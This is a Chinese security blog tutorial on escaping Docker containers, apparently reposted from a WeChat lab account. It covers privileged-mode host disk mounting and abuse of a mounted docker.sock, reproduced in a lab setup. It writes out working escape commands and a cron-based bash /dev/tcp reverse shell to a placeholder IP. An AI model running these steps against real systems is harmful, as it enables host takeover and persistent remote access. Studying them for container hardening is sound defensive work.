Docker逃逸指南一
一、特权模式逃逸
特权模式逃逸是利用Docker特权容器的完整Linux能力(capability),通过挂载宿主机文件系统、加载恶意内核模块等手法,突破容器隔离限制,完全控制宿主机的高危行为。本质是滥用特权容器与宿主机共享内核的特性,将容器权限提升至宿主机root级别。
Docker特权模式(privileged mode):
在Docker中,普通容器通常运行在受限模式下。通过Linux的命名空间和控制组来实现容器与宿主机的隔离,保证宿主机安全。而通过特权模式运行的容器,它允许容器获得几乎与宿主机相同的权限,包括访问所有的设备、加载内核模块、修改网络配置等。
利用前提:
1、受害者容器以特权模式启动。
2、攻击者拿到的容器权限为root。
环境搭建:
通过特权模式运行一个nginx容器
docker run -d -p 9099:80 --privileged=true --name nginx-test nginx:1.19.3
查看运行的容器是否为特权模式
docker inspect fd5317c2a31b |grep 'Privileged'
漏洞复现:
现在进入到容器,假设我们已经拿到了容器的root权限。
1、判断当前是否为特权容器
特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或 0000001fffffffff
cat /proc/self/status | grep CapEff
Tips:CapEff是Linux capability中表示进程有效权限的bitmap。在 Docker特权模式下,该位图的低38位或37位全部被设为1,对应十六进制值0000003fffffffff或0000001fffffffff。二进制每一位1代表一种系统权限(如修改文件所有权、加载内核模块、操作网络等)。所有低位为1表示容器拥有当前内核支持的全部权限。
可以把宿主机比作房间,房间上面有38个锁。每个1就是一把钥匙,我们依次解锁。当所有的锁都打开时,我们就获得了房间的完全控制权。
2、查看盘符信息
fdisk -l
创建挂载点,将宿主机文件系统挂载到挂载点。
mkdir /mnt/lvvm && mount /dev/sda3 /mnt/lvvm
Tips:挂载空间大的那个文件系统。
然后就可以愉快的访问宿主机文件了。
错误提示:
提示错误mount: /mnt: unknown filesystem type 'LVM2_member'.
原因解答:
LVM2_membe是一个LVM的物理卷(Physical Volume – PV)。物理卷不是一个可以被直接挂载并包含文件系统的设备。文件系统(例如:ext4、xfs)是创建在LVM的逻辑卷(Logical Volume – LV)上的。
解决办法:
pvscan #扫描物理卷
vgscan –mknodes #扫描卷组
vgchange -ay –ignorelockingfailure #激活卷组和逻辑卷
blkid /dev/sda3 #查看文件系统
mkdir -p /mnt/lvvm #创建挂载店
mount /dev/mapper/ubuntu--vg-ubuntu--lv /mnt/lvvm #挂载逻辑卷组
3、计划任务反弹Shell
直接写入计划任务到磁盘,等待即可。
echo $'*/1 * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/Port 0>&1' >> /mnt/lvm/var/spool/cron/crontabs/root
Tips:现在相当于磁盘就完全可控,可以根据实际情况判断获取shell方式。经典的就是计划任务,还有其他的一些方式如写ssh-key、内核模块加载、热插拔注入、操作/proc等等。
二、挂载Docker Socket逃逸
Docker Socket 逃逸(Docker Socket Escape) 是因为管理员挂载了宿主机的Docker Socket到容器内,攻击者从而获得对宿主机Docker守护进程的控制权限的攻击手段。本质是通过Docker API间接控制宿主机。
Docker Socket介绍:
1、Docker Socket是一个Unix域套接字文件,位于 /var/run/docker.sock。它允许容器与Docker守护进程进行通信,通过Docker CLI或API来管理容器、镜像、网络等资源。
2、挂载docker.sock相当于给容器赋予了与宿主机Docker守护进程通信的权限,这意味着容器可以通过Docker API管理宿主机的容器、网络、卷等资源。拥有此文件的读写权限 = 直接控制Docker引擎。
环境搭建:
还是以nginx容器为例。
docker run -d -p 9101:80 -v /var/run/docker.sock:/var/run/docker.sock --name nginx-test3 nginx:1.19.3
漏洞复现:
方法一:
1、查看是否挂载docker sock
ls -lah /var/run/docker.sock
2、在容器内安装docker
apt-get install curl -y
curl -fsSL https://get.docker.com | sh #安装Docker
3、在容器内创建容器
docker run -it -v /:/host ubuntu /bin/bash
然后就可以操作宿主机文件,反弹shell与之前相同即可。
cat /host/etc/hostname
方法二:
操作docker.sock,安装docker。
apt update && apt install docker.io -y
(1)查看进程
docker -H unix:///var/run/docker.sock ps -a
(2)确认docker版本
curl --unix-socket /var/run/docker.sock http://localhost/version
(3)横向其他容器
另外大家有什么想了解的其它议题可以在该文下留言,有空我会发文。
微信进群通道已更新,欢迎一起讨论/学习。在公众号菜单里。
原文始发于微信公众号(YongYe 安全实验室):Docker逃逸指南一
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论